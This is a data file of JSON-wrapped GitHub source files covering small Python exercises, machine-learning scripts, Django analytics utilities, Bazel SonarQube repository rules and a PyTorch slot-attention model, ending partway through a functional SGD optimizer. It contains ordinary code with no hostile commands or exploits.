+{"seq_id":"34667142874","text":"# Calculadora de hipotenusa en un triangulo rectangulo.\n# hipotenusa es = a la suma de los cuarados de los catetos, los catetos son los que hacen el angulo recto.\n\nimport math\n\nprint(\"\\nBienvenido a la calculadora de hipotenusas de triangulos rectangulos\")\n\ncateto_1 = int(input('\\nInserte la medida del primer cateto: '))\ncateto_2 = int(input('Inserte la medida del segundo cateto: '))\n\nhipotenusa = (math.sqrt((cateto_1 ** 2) + (cateto_2 ** 2))) \narea = ((cateto_1 * cateto_2) / 2)\nperimetro = (cateto_1 + cateto_2 + hipotenusa)\n\nprint(\"\\nLa hipotenusa mide: \", hipotenusa)\nprint(\"El área de este triangulo rectangulo es de: \", area)\nprint(\"El perímetro de este triangulo rectangulo es de: \", perimetro)","repo_name":"hotspotcepeda/PYTHON","sub_path":"curso/curso-py/ejercicios/hipotenusa.py","file_name":"hipotenusa.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"70597831912","text":"# -*- coding: utf-8 -*-\n\nfrom engine import component\n\nclass Tilemap(component.Component):\n \"\"\" Tilemap component.\"\"\"\n\n def __init__(self, *args, **kwargs):\n \n super(Tilemap, self).__init__(*kwargs, **kwargs)\n \n self.layers = []\n self.tileset_bin = None\n \n self.tilewidth = 0\n self.tileheight = 0\n \n self.width = 0\n self.height = 0\n \n self.version = \"\"\n ","repo_name":"eeneku/thor","sub_path":"src/components/tilemap.py","file_name":"tilemap.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"33400658509","text":"def unique(num):\n\tlst = []\n\tfor i in num:\n\t\tif i not in lst:\n\t\t\tlst.append(i)\n\treturn lst\n\t\ndef isPrime(num):\n\tcount = 0\n\tif num == 1:\n\t\treturn False\n\tprime = True\n\tfor i in range(2,num):\n\t\tif num%i == 0:\t\n\t\t\tprime = False\n\t\t\tbreak\n\treturn prime\n\nlst = [1,2,2,3,4,4,5,6,7,7,8,9,10,11,1,11,12,12,23,45]\n\nlst = unique(lst)\n\nprint(\"Unique numbers of the list are:\",lst)\n\nfor i in lst:\n\tif isPrime(i):\n\t\tprint(i,\" is prime\")\n\telse:\n\t\tprint(i,\"is not prime\")\n","repo_name":"Ahmed-77/SL-LAB","sub_path":"ISL58-SL LAB/PYTHON/7.py","file_name":"7.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"}
+{"seq_id":"15932293471","text":"# coding=utf-8\n#!/usr/bin/env python\n\n\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer\nfrom read_data import read_reviews\n\ncategories = ['neg', 'pos']\nbase_path = '/Users/Neyanbhbin/Documents/code/cs585/project-angelok/aclImdb'\n\ndata, labels = read_reviews(base_path, data_type='train', labels=categories)\ntest_data, test_labels = read_reviews(base_path, data_type='test', labels=categories)\n\ndata_all = data + test_data\n\ndef imdb_vocabulary(remove_stopwords=True, min_df=3, use_idf=1, ngram_range=(1,1)):\n stop_words = 'english' if remove_stopwords else ''\n\n count_vectorizer = TfidfVectorizer(min_df=min_df, use_idf=use_idf,\n ngram_range=ngram_range)\n X = count_vectorizer.fit_transform(data_all)\n print(X.shape)\n vo_list = sorted(count_vectorizer.vocabulary_.keys())\n vo_list = [s for s in vo_list if isinstance(s, str)] \n content = \"\\n\".join(vo_list)\n with open(\"vocabulary.txt\", \"w\") as f:\n f.write(content)\n\nif __name__ == \"__main__\":\n imdb_vocabulary()\n\n","repo_name":"AngeloK/Word-embedding-nn","sub_path":"code/generate_vocabulary.py","file_name":"generate_vocabulary.py","file_ext":"py","file_size_in_byte":1063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"37039698668","text":"import re\n\nfrom collections import defaultdict, OrderedDict, Counter, namedtuple\n\nfrom django.contrib.humanize.templatetags.humanize import intcomma\nfrom django.db import models\n\nfrom enum import Enum\n\n\ndef group_by_attribute(rows,\n attribute,\n getter=lambda r: r,\n key_getter=lambda r: r):\n data = defaultdict(list)\n\n for row in rows:\n if type(row) == dict:\n value = key_getter(row[attribute])\n else:\n value = key_getter(getattr(row, attribute))\n\n data[value].append(getter(row))\n\n return data\n\n\ngroup_by_location_city = lambda rows: group_by_attribute(rows, 'location_city')\ngroup_by_location_state = lambda rows: group_by_attribute(\n rows, 'location_state')\ngroup_by_location_country = lambda rows: group_by_attribute(\n rows, 'location_country')\n\nMarker = namedtuple('Marker', ('location', 'value', 'label'))\n\n\ndef group_into_nested_location(events):\n Country = namedtuple('Country', ('country', 'states', 'total_plays'))\n\n def combine_country_and_sum_of_plays(*dcts):\n for i in set(dcts[0]).intersection(*dcts[1:]):\n yield Country(*((i, ) + tuple(d[i] for d in dcts)))\n\n grouped_by_country = group_by_location_country(events)\n grouped_by_geography = {}\n\n country_play_counts = Counter()\n for (country, country_events) in sorted(grouped_by_country.items(),\n key=lambda i: i[0]):\n if country not in grouped_by_geography:\n grouped_by_geography[country] = {}\n\n for (state,\n state_events) in group_by_location_state(country_events).items():\n grouped_by_city = group_by_location_city(state_events)\n country_play_counts[country] += \\\n sum(\n sum(play.get('no_of_plays') for play in plays)\n for (city, plays) in grouped_by_city.items())\n grouped_by_geography[country][state] = grouped_by_city\n\n common_entries = combine_country_and_sum_of_plays(\n grouped_by_geography, dict(**country_play_counts))\n return sorted(list(common_entries),\n key=lambda country: country.total_plays,\n reverse=True)\n\n\ndef get_expression(data_set, field_expression, separator='__'):\n if data_set:\n try:\n return f\"{data_set.get_data_set()}{separator}{field_expression}\"\n except AttributeError:\n return data_set and (f\"{data_set}{separator}{field_expression}\")\n else:\n return field_expression\n\n\nclass BaseEnum(Enum):\n def __str__(self):\n return self.value\n\n def get_label(self):\n return \" \".join([x.capitalize() for x in self.value.split(\"_\")])\n\n def get_value(self):\n return self.value\n\n def get_data_set(cls):\n raise NotImplementedError\n\n @classmethod\n def get_field_name(cls):\n return \"_\"\\\n .join(re.sub('(?!^)([A-Z][a-z]+)', r' \\1', cls.__name__).split())\\\n .lower()\n\n @classmethod\n def get_labels(cls):\n return list(map(lambda p: p.get_label(), cls))\n\n @classmethod\n def get_values(cls):\n return list(map(str, cls))\n\n @classmethod\n def get_all_types(cls):\n return list(cls)\n\n @classmethod\n def get_colours(cls):\n return list(p.get_colour() for p in cls.get_all_types())\n\n @classmethod\n def get_table_columns(cls):\n return [{\n 'id': id,\n 'name': name\n } for (id, name) in zip(cls.get_values(), cls.get_labels())]\n\n @classmethod\n def get_table_row(cls, aggregate_dict):\n return [(item_type.value,\n intcomma(aggregate_dict.get(f\"{item_type.value}_count\")))\n for item_type in cls.get_all_types()]\n\n def get_query(self, *args, **kwargs):\n raise NotImplementedError()\n\n def get_colour(self):\n raise NotImplementedError()\n\n def get_when_expression(self, data_set=None):\n return models.When(self.get_query(data_set=data_set),\n then=models.Value(self.value))\n\n def get_sum_expression(self, data_set=None):\n return {\n f'{self.get_value()}_count':\n models.Sum(\n models.Case(models.When(self.get_query(data_set=data_set),\n then=1),\n default=models.Value('0'),\n output_field=models.IntegerField()))\n }\n\n @classmethod\n def get_sum_group_by_types(cls,\n data_set=None,\n item_types=None,\n *args,\n **kwargs):\n if item_types is None:\n item_types = cls.get_all_types()\n\n d = {'total_count': models.Count('*')}\n for item_type in item_types:\n if data_set is None:\n data_set = item_type.get_data_set()\n d.update(**item_type.get_sum_expression(data_set=data_set))\n\n return d\n\n @classmethod\n def get_group_by_cases(cls,\n data_set=None,\n item_types=None,\n *args,\n **kwargs):\n if item_types is None:\n item_types = cls.get_all_types()\n\n return \\\n models.Case(\n *[item_type.get_when_expression(data_set=data_set) for item_type in item_types],\n output_field=models.CharField())\n","repo_name":"ngx-devman/Voxsnap","sub_path":"apps/analytics/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5541,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"34534014778","text":"from requests import get\nfrom pandas import json_normalize\nimport pandas as pd\nimport numpy as np\n\nimport geotiler\nimport matplotlib.pyplot as plt\nfrom matplotlib.collections import LineCollection\nimport pickle as plk\nimport gpxpy\nimport gpxpy.gpx\n\nfrom shapely.geometry import Point, LineString\nfrom shapely.ops import nearest_points\n\n# get elevation of single point\ndef get_elevation(lat = None, long = None):\n '''\n script for returning elevation in m from lat, long\n '''\n if lat is None or long is None: return None\n \n query = ('https://api.open-elevation.com/api/v1/lookup'\n f'?locations={lat},{long}')\n \n # Request with a timeout for slow responses\n r = get(query, timeout = 20)\n\n # Only get the json response in case of 200 or 201\n if r.status_code == 200 or r.status_code == 201:\n elevation = json_normalize(r.json(), 'results')\n else: \n elevation = None\n return elevation\n\n# get elevation of multiple points\ndef get_elevation_list(points, query_url):\n '''\n script for returning elevation in m from lat, long\n '''\n if points is None: return None\n \n\n query = f'?locations='\n \n # build query\n for p in points[:-1]:\n query += f'{p.x},{p.y}|'\n \n query += f'{points[-1].x},{points[-1].y}'\n \n #print(query)\n \n full_query = (query_url + query)\n \n # Request with a timeout for slow responses\n r = get(full_query, timeout = 20)\n\n # Only get the json response in case of 200 or 201\n if r.status_code == 200 or r.status_code == 201:\n elevation = json_normalize(r.json(), 'results')\n else: \n elevation = None\n return elevation\n\n# small amount of points test\ncenter = (8.915756, 48.448863)\nprint(\"###\")\n#print(get_elevation(center[0], center[1]))\n\npoints = np.array([Point(8.915756, 48.448863), Point(1, 2), Point(2, 3)])\n\n#print(get_elevation_list(points))\n\n\n \n#####\n# get gpx points\ngpx_file = open('Test2.gpx', 'r')\n\ngpx = gpxpy.parse(gpx_file)\n\npoints = list()\nelevations = list()\n\nfor track in gpx.tracks:\n for segment in track.segments:\n for point in segment.points:\n points.append(Point(point.latitude, point.longitude))\n elevations.append(point.elevation)\n\nprint(\"Amount GPX points: {}\".format(len(points)))\n\n#points = np.array([Point(57.688709,11.976404), Point(56,123)])\n\n\nquery_url = 'https://api.opentopodata.org/v1/eudem25m' # max 100\nquery_url2 = 'https://api.open-elevation.com/api/v1/lookup'\n\nelevations2 = get_elevation_list(points, query_url)\nelevations3 = get_elevation_list(points, query_url2)\n\n\nwith pd.option_context('display.max_rows', None, 'display.max_columns', None): # more options can be specified also\n print()\n\nprint(elevations)\nprint(elevations2)\nprint(elevations3)\n\nplt.plot(elevations)\nplt.plot(elevations2['elevation'])\nplt.plot(elevations3['elevation'])\nplt.show()","repo_name":"Gregor-W/Mechatronik-Projekt","sub_path":"TestsBackups/get-first-elevation-data.py","file_name":"get-first-elevation-data.py","file_ext":"py","file_size_in_byte":2901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"74695356393","text":"import pandas as pd\nimport numpy as np\nimport os\nimport cv2\nfrom skimage.io import imread,imshow\nfrom skimage.transform import resize\nimport matplotlib.pyplot as plt\nimport keras as K\nimport tensorflow as tf\nfrom PIL import Image, ImageOps\nfrom keras.preprocessing.image import ImageDataGenerator\ntf.random.set_seed(7) # fixes some parameters to start with.\n\ndf=pd.read_csv('../input/chest-xrays-bacterial-viral-pneumonia-normal/labels_train.csv')\ndf.head()\n\nnames=list(df['file_name'])\ny_train=list(df['class_id'])\n\ny_train=np.asarray(y_train)\n\nx_train=np.zeros((len(names),256,256,3),dtype=np.float32)\n\nfor i in range(len(names)):\n img=imread('../input/chest-xrays-bacterial-viral-pneumonia-normal/train_images/train_images/'+str(names[i]))\n img=resize(img,(256,256,3),mode='constant',preserve_range=True)\n x_train[i]=img\n if i%1000==0:\n print('Done')\n\nx_train=x_train/255\n\nx_train.shape\n\ny_train=tf.keras.utils.to_categorical(y_train, num_classes=None, dtype='float32')\n\ny_train\n\nmodel = tf.keras.applications.InceptionResNetV2(\n include_top=False,\n weights=\"imagenet\",\n input_tensor=None,\n input_shape=[256,256,3],\n pooling=None,\n classes=1000,\n classifier_activation=\"softmax\",\n)\n\nx2=tf.keras.layers.Flatten()(model.output)\nx = tf.keras.layers.Dense(3, activation=\"softmax\", name=\"dense_final\")(x2)\nmodel = tf.keras.Model(inputs=model.input, outputs=x)\nmodel.compile(optimizer='adam',loss='categorical_crossentropy',metrics=['accuracy'])\nmodel.summary()\n\nhistory=model.fit(x_train,y_train,batch_size=8,epochs=20,shuffle=True)\n\nxx=model.evaluate(x_train,y_train,verbose=1)\n\n","repo_name":"akshatp9454/pneumonia_detection","sub_path":"pneumonia_detection.py","file_name":"pneumonia_detection.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"18375617772","text":"import sys\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom mpl_toolkits import mplot3d\nfrom utility import Parse_vtk_1D\nimport math\n\ntry:\n\titeration = int(sys.argv[1])\nexcept IndexError:\n\titeration = -1\n\nfiname=\"UpperSurf_t0000000\"\nNodesData,DispData=Parse_vtk_1D.main(finame)[0],Parse_vtk_1D.main(finame)[2]\n\nDispData = DispData[DispData[:,0].argsort()]\nNodesData = NodesData[NodesData[:,0].argsort()]\n\n\nDisplacementx = DispData[:,0]\nDisplacementy = DispData[:,1]\nLocx = NodesData[:,0]\nDisp_Results_base=np.zeros((len(DispData[:,0]),3))\nDisp_Results_base[:,0]=Locx \nDisp_Results_base[:,1]=Displacementx \nDisp_Results_base[:,2]=Displacementy\n\n\nnp.savetxt('Displacement_Profile.txt', Disp_Results_base)\n\nstrain=np.zeros(len(Locx))\nLocation=np.zeros(len(Locx))\nfor i in range(len(Locx)-1):\n\tstrain[i]=(Disp_Results_base[i+1,1]-Disp_Results_base[i,1])/(Disp_Results_base[i+1,0]-Disp_Results_base[i,0])\n\nfor i in range(len(Locx)-1):\n\tLocation[i]=(Disp_Results_base[i+1,0]-Disp_Results_base[i,0])/2+Disp_Results_base[i,0]\n\n\nsave_strain = np.zeros((len(strain),2))\nsave_strain[:,0] = Locx\nsave_strain[:,1] = strain\n\nnp.savetxt('Strain_Profile.txt', save_strain)\n\nif iteration > 0:\n\tunperturbed = np.loadtxt('GreenFunc/x_strain_unperturbed.txt')\nelif iteration <= 0:\n\tunperturbed = np.loadtxt('GreenFunc/Uniform_Strain_Profile.txt')\n\ndiff_strain = [strain[i] - unperturbed[:,1][i] for i in range(len(unperturbed))]\n\n# diff_strain = np.zeros(len(unperturbed))\n# for i in range(len(diff_strain)):\n# \tdiff_strain[i] = strain[i] - unperturbed[i]\n\n\nsave_diff_strain = np.zeros((len(diff_strain),2))\n# save_diff_strain[:,0] = Locx\n# save_diff_strain[:,1] = diff_strain\n\nfor i in range(len(save_diff_strain)):\n\tsave_diff_strain[i][0] = Locx[i]\n\tsave_diff_strain[i][1] = diff_strain[i]\n\nnp.savetxt('Diff_Strain_Profile.txt', save_diff_strain)\n\n# thickness = np.loadtxt('')\n\n\n\n\n\n\n\n","repo_name":"rltam/2D-Layer","sub_path":"Save_Data.py","file_name":"Save_Data.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"19047450655","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch import Tensor\nfrom torch.nn.parameter import Parameter\nfrom typing import Tuple, get_type_hints\nfrom .initialization import linear_init, gru_init\nfrom .autoencoder import AutoEncoder\n\n\nclass SlotAttention(nn.Module):\n def __init__(self, input_size: int, n_slots: int = 4, slot_size: int = 64,\n n_iter: int = 3, slot_channels=1, hidden_size: int = 128,\n approx_implicit_grad: bool = True, epsilon: float = 1e-8):\n super().__init__()\n\n assert n_slots > 1, \"Must have at least two slots\"\n assert n_iter > 0, \"Need at least one slot update iteration\"\n assert (slot_size % slot_channels) == 0\n\n self.n_slots = n_slots\n self.slot_size = slot_size\n self.n_iter = n_iter\n self.nhead = slot_channels\n self.EPS = epsilon\n self.approx_implicit_grad = approx_implicit_grad\n\n # slot init\n self.slot_mu = Parameter(torch.empty(1, 1, slot_size))\n self.slot_logvar = Parameter(torch.empty(1, 1, slot_size))\n\n # attention projections\n self.k_proj = nn.Linear(input_size, slot_size, bias=False)\n self.v_proj = nn.Linear(input_size, slot_size, bias=False)\n self.q_proj = nn.Linear(slot_size, slot_size, bias=False)\n\n # normalisation layers\n self.norm_input = nn.LayerNorm(input_size)\n self.norm_slot = nn.LayerNorm(slot_size)\n self.norm_res = nn.LayerNorm(slot_size)\n\n # update\n self.gru = nn.GRUCell(slot_size, slot_size)\n self.mlp = nn.Sequential(nn.Linear(slot_size, hidden_size, bias=False),\n nn.ReLU(),\n nn.Linear(hidden_size, slot_size))\n\n self.reset_parameters()\n\n @property\n def size(self):\n return self.n_slots * self.slot_size\n\n @property\n def hidden_size(self):\n return self.res_mlp[0].out_features\n\n @property\n def shape(self):\n return self.n_slots, self.slot_size\n\n def reset_parameters(self):\n nn.init.xavier_uniform_(self.slot_mu)\n nn.init.xavier_uniform_(self.slot_logvar)\n\n linear_init(self.k_proj, activation='relu')\n linear_init(self.v_proj, activation='relu')\n linear_init(self.q_proj, activation='relu')\n\n for m in self.mlp.children():\n if isinstance(m, nn.Linear):\n linear_init(m, activation='relu')\n\n gru_init(self.gru)\n\n def forward(self, inputs: Tensor) -> Tuple[Tensor, Tensor]:\n slots = self.init_slots(inputs) # batch_size, n_slots, slot_size\n inputs = self.norm_input(inputs) # batch_size, n_inputs, input_size\n\n # shape (batch_size, n_heads, n_inputs, slot_size // nheads)\n k = self.split_heads(self.k_proj(inputs))\n v = self.split_heads(self.v_proj(inputs))\n\n k = k / ((self.slot_size / self.nhead) ** 0.5)\n\n for _ in range(self.n_iter):\n slots, atten_masks = self.step(slots, k, v)\n\n # First-order Neumann approximation to implicit gradient (Chang et al)\n if self.approx_implicit_grad:\n slots, atten_masks = self.step(slots.detach(), k, v)\n\n # slots are in the correct shape\n return slots, atten_masks.sum(dim=1) # add weights from attention heads\n\n def split_heads(self, input):\n # input size: B, n_in, slot_size/input_size\n split_size = input.shape[-1] // self.nhead\n return input.unflatten(-1, (self.nhead, split_size)).transpose(1, 2)\n\n def join_heads(self, input):\n # input size: B, n_head, n_in, slot_size/input_size // n_head\n return input.transpose(1, 2).flatten(start_dim=2)\n\n def init_slots(self, inputs):\n std = self.slot_logvar.mul(0.5).exp()\n std = std.expand(len(inputs), self.n_slots, -1)\n eps = torch.randn_like(std)\n return self.slot_mu.addcmul(std, eps)\n\n def step(self, slots, k, v):\n q = self.q_proj(self.norm_slot(slots))\n\n # atten_maps: (batch_sizs, n_slots, slot_size)\n # atten_weights: (batch_size, n_heads, n_slots, slot_size // n_heads)\n atten_maps, atten_weights = self.compute_attention_maps(k, q, v)\n\n slots = self.update_slots(atten_maps, slots)\n\n return slots, atten_weights\n\n def compute_attention_maps(self, k, q, v):\n q = self.split_heads(q)\n\n # slots compete for input patches\n weights = k.matmul(q.transpose(2, 3)) # n_inputs, n_slots\n weights = F.softmax(self.join_heads(weights), dim=-1)\n\n # weighted mean over n_inputs\n weights = self.split_heads(weights) + self.EPS\n weights = weights / weights.sum(dim=-2, keepdim=True)\n\n atten_maps = self.join_heads(weights.transpose(2, 3).matmul(v))\n\n return atten_maps, weights\n\n def update_slots(self, atten_maps, slots):\n B = len(slots)\n\n # batchify update\n atten_maps = atten_maps.flatten(end_dim=1)\n slots = slots.flatten(end_dim=1)\n\n # update slots\n slots = self.gru(atten_maps, slots)\n slots = slots + self.mlp(self.norm_res(slots))\n\n return slots.unflatten(0, (B, self.n_slots))\n\n def __repr__(self):\n return 'SlotAttention(n_slots={}, slot_size={}, n_iter={})'.format(\n self.n_slots, self.slot_size, self.n_iter)\n\n\nclass SlotDecoder(nn.Sequential):\n def _pass_slot_only(self):\n types = get_type_hints(self[0].forward)\n return types['inputs'] == torch.Tensor\n\n def decode_slots(self, inputs):\n slots, atten_weights = inputs\n batch_size, n_slots = slots.size()[:2]\n\n # batchify reconstruction\n slots = slots.flatten(end_dim=1)\n atten_weights = atten_weights.flatten(end_dim=1)\n\n if self._pass_slot_only(): # pass attention weights to decoder\n rgba = super().forward(slots)\n else:\n rgba = super().forward((slots, atten_weights))\n\n # shape: (batch_size, n_slots, n_channels + 1, height, width)\n rgba = rgba.unflatten(0, (batch_size, n_slots))\n\n slot_recons, slot_masks = torch.tensor_split(rgba, indices=[3], dim=2)\n slot_masks = F.softmax(slot_masks, dim=1) # masks are logits\n\n return slot_recons, slot_masks\n\n def forward(self, inputs: Tuple[Tensor, Tensor]) -> Tensor:\n slot_recons, slot_masks = self.decode_slots(inputs)\n return (slot_masks * slot_recons).sum(dim=1)\n","repo_name":"miltonllera/pytorch-object-centric","sub_path":"src/models/slotattn.py","file_name":"slotattn.py","file_ext":"py","file_size_in_byte":6441,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"}
+{"seq_id":"36485555882","text":"load(\"@bazel_tools//tools/build_defs/repo:http.bzl\", \"http_archive\")\n\ndef bazel_sonarqube_repositories(\n bazel_version_repository_name = \"bazel_version\",\n sonar_scanner_cli_version = \"3.3.0.1492\",\n sonar_scanner_cli_sha256 = \"0fabd3fa2e10bbfc5cdf64765ff35e88e7937e48aad51d84401b9f36dbde3678\",\n bazel_skylib_version = \"1.0.3\",\n bazel_skylib_sha256 = \"1c531376ac7e5a180e0237938a2536de0c54d93f5c278634818e0efc952dd56c\"):\n http_archive(\n name = \"org_sonarsource_scanner_cli_sonar_scanner_cli\",\n build_file = \"@bazel_sonarqube//:BUILD.sonar_scanner\",\n sha256 = sonar_scanner_cli_sha256,\n strip_prefix = \"sonar-scanner-\" + sonar_scanner_cli_version,\n urls = [\n \"https://repo1.maven.org/maven2/org/sonarsource/scanner/cli/sonar-scanner-cli/%s/sonar-scanner-cli-%s.zip\" % (sonar_scanner_cli_version, sonar_scanner_cli_version),\n \"https://jcenter.bintray.com/org/sonarsource/scanner/cli/sonar-scanner-cli/%s/sonar-scanner-cli-%s.zip\" % (sonar_scanner_cli_version, sonar_scanner_cli_version),\n ],\n )\n\n if not native.existing_rule(\"bazel_skylib\"):\n http_archive(\n name = \"bazel_skylib\",\n urls = [\n \"https://mirror.bazel.build/github.com/bazelbuild/bazel-skylib/releases/download/%s/bazel-skylib-%s.tar.gz\" % (bazel_skylib_version, bazel_skylib_version),\n \"https://github.com/bazelbuild/bazel-skylib/releases/download/%s/bazel-skylib-%s.tar.gz\" % (bazel_skylib_version, bazel_skylib_version),\n ],\n sha256 = bazel_skylib_sha256,\n )\n\n bazel_version_repository(name = bazel_version_repository_name)\n\n# A hacky way to work around the fact that native.bazel_version is only\n# available from WORKSPACE macros, not BUILD.bazel macros or rules.\n#\n# Hopefully we can remove this if/when this is fixed:\n# https://github.com/bazelbuild/bazel/issues/8305\ndef _bazel_version_repository_impl(repository_ctx):\n s = \"bazel_version = \\\"\" + native.bazel_version + \"\\\"\"\n repository_ctx.file(\"bazel_version.bzl\", s)\n repository_ctx.file(\"BUILD.bazel\", \"\"\"\nload(\"@bazel_skylib//:bzl_library.bzl\", \"bzl_library\")\n\nbzl_library(\n name = \"bazel_version\",\n srcs = [\"bazel_version.bzl\"],\n visibility = [\"//visibility:public\"],\n)\n\"\"\")\n\nbazel_version_repository = repository_rule(\n implementation = _bazel_version_repository_impl,\n local = True,\n)\n","repo_name":"Zetten/bazel-sonarqube","sub_path":"repositories.bzl","file_name":"repositories.bzl","file_ext":"bzl","file_size_in_byte":2432,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"72"}
+{"seq_id":"449770000","text":"#!/usr/bin/env python\nimport glob\nimport sys\nimport numpy\nfrom scipy.ndimage import imread\n\nYOUTUBE_PATH = \"/data/corpora/youtube-objects/youtube_masks/\"\nFORWARDED_PATH = \"/home/voigtlaender/vision/savitar/forwarded/\"\n\n\ndef compute_iou_for_binary_segmentation(y_argmax, target):\n I = numpy.logical_and(y_argmax == 1, target == 1).sum()\n U = numpy.logical_or(y_argmax == 1, target == 1).sum()\n if U == 0:\n IOU = 1.0\n else:\n IOU = float(I) / U\n return IOU\n\n\ndef eval_sequence(gt_folder, recog_folder):\n seq = gt_folder.split(\"/\")[-7] + \"_\" + gt_folder.split(\"/\")[-5]\n gt_files = sorted(glob.glob(gt_folder + \"/*.jpg\"))\n\n #checks\n #if not gt_files[0].endswith(\"00001.jpg\"):\n # print \"does not start with 00001.jpg!\", gt_files[0]\n #indices = [int(f.split(\"/\")[-1][:-4]) for f in gt_files]\n #if not (numpy.diff(indices) == 10).all():\n # print \"no spacing of 10:\", gt_files\n\n gt_files = gt_files[1:]\n recog_folder_seq = recog_folder + seq + \"/\"\n print(recog_folder_seq, end=' ')\n recog_files = [gt_file.replace(gt_folder, recog_folder_seq).replace(\".jpg\", \".png\") for gt_file in gt_files]\n\n ious = []\n for gt_file, recog_file in zip(gt_files, recog_files):\n gt = imread(gt_file) / 255\n recog = imread(recog_file) / 255\n iou = compute_iou_for_binary_segmentation(recog, gt)\n ious.append(iou)\n return numpy.mean(ious)\n\n\ndef main():\n assert len(sys.argv) == 2\n\n pattern = YOUTUBE_PATH + \"*/data/*/*/*/labels/\"\n folders = glob.glob(pattern)\n\n # filter out the 2 sequences, which only have a single annotated frame\n folders = [f for f in folders if \"motorbike/data/0007/shots/001\" not in f and \"cow/data/0019/shots/001\" not in f]\n \n ious = {}\n for folder in folders:\n tag = folder.split(\"/\")[-7]\n recog_folder = FORWARDED_PATH + sys.argv[1] + \"/valid/\"\n iou = eval_sequence(folder, recog_folder)\n print(iou)\n if tag in ious:\n ious[tag].append(iou)\n else:\n ious[tag] = [iou]\n\n class_ious = []\n for k, v in list(ious.items()):\n print(k, numpy.mean(v))\n class_ious.append(numpy.mean(v))\n print(\"-----\")\n print(\"total\", len(class_ious), numpy.mean(class_ious))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"JonathonLuiten/PReMVOS","sub_path":"code/ReID_net/scripts/eval/eval_youtube_nonfull.py","file_name":"eval_youtube_nonfull.py","file_ext":"py","file_size_in_byte":2169,"program_lang":"python","lang":"en","doc_type":"code","stars":127,"dataset":"github-code","pt":"72"}
+{"seq_id":"14831863069","text":"from typing import Dict, List, Optional\n\nimport torch\nimport torch.optim._functional as F\n\nfrom torch import Tensor\n\n__all__: List[str] = []\n\n# Define a TorchScript compatible Functional SGD Optimizer\n# where we use these optimizer in a functional way.\n# Instead of using the `param.grad` when updating parameters,\n# we explicitly allow the distributed optimizer pass gradients to\n# the `step` function. In this way, we could separate the gradients\n# and parameters and allow multithreaded trainer to update the\n# parameters without data traces on accumulating to the same .grad.\n# NOTE: This should be only used by distributed optimizer internals\n# and not meant to expose to the user.\n@torch.jit.script\nclass _FunctionalSGD:\n def __init__(\n self,\n params: List[Tensor],\n lr: float = 1e-2,\n momentum: float = 0.0,\n dampening: float = 0.0,\n weight_decay: float = 0.0,\n nesterov: bool = False,\n maximize: bool = False,\n foreach: bool = False,\n _allow_empty_param_list: bool = False,\n ):\n self.defaults = {\n \"lr\": lr,\n \"momentum\": momentum,\n \"dampening\": dampening,\n \"weight_decay\": weight_decay,\n }\n self.nesterov = nesterov\n self.maximize = maximize\n self.foreach = foreach\n self.state = torch.jit.annotate(Dict[torch.Tensor, Dict[str, torch.Tensor]], {})\n\n if len(params) == 0 and not _allow_empty_param_list:\n raise ValueError(\"optimizer got an empty parameter list\")\n\n # NOTE: we only have one param_group and don't allow user to add additional\n # param group as it's not a common use case.\n self.param_group = {\"params\": params}\n\n def step_param(self, param: Tensor, grad: Optional[Tensor]):\n \"\"\"Similar to self.step, but operates on a single parameter and\n its gradient.\n \"\"\"\n # TODO: Once step_param interface is robust, refactor step to call\n # step param on each param.\n weight_decay = self.defaults[\"weight_decay\"]\n momentum = self.defaults[\"momentum\"]\n dampening = self.defaults[\"dampening\"]\n lr = self.defaults[\"lr\"]\n params = [param]\n momentum_buffer_list: List[Optional[Tensor]] = []\n grads = []\n\n has_sparse_grad = False\n if grad is not None:\n grads.append(grad)\n if grad.is_sparse:\n has_sparse_grad = True\n if param not in self.state:\n self.state[param] = {}\n state = self.state[param]\n if \"momentum_buffer\" not in state:\n momentum_buffer_list.append(None)\n else:\n momentum_buffer_list.append(state[\"momentum_buffer\"])\n\n with torch.no_grad():\n F.sgd(\n params,\n grads,\n momentum_buffer_list,\n weight_decay=weight_decay,\n momentum=momentum,\n lr=lr,\n dampening=dampening,\n nesterov=self.nesterov,\n maximize=self.maximize,\n has_sparse_grad=has_sparse_grad,\n foreach=self.foreach,\n )\n # update momentum_buffer in state\n state = self.state[param]\n momentum_buffer = momentum_buffer_list[0]\n if momentum_buffer is not None:\n state[\"momentum_buffer\"] = momentum_buffer\n\n def step(self, gradients: List[Optional[Tensor]]):\n params = self.param_group[\"params\"]\n params_with_grad = []\n grads = []\n momentum_buffer_list: List[Optional[Tensor]] = []\n lr = self.defaults[\"lr\"]\n weight_decay = self.defaults[\"weight_decay\"]\n momentum = self.defaults[\"momentum\"]\n dampening = self.defaults[\"dampening\"]\n\n if len(params) != len(gradients):\n raise ValueError(\n \"the gradients passed in does not equal to the size of the parameters!\"\n + f\"Params length: {len(params)}. \"\n + f\"Gradients length: {len(gradients)}\"\n )\n\n has_sparse_grad = False\n for param, gradient in zip(params, gradients):\n if gradient is not None:\n params_with_grad.append(param)\n grads.append(gradient)\n if gradient.is_sparse:\n has_sparse_grad = True\n\n if param not in self.state:\n self.state[param] = {}\n\n state = self.state[param]\n if \"momentum_buffer\" not in 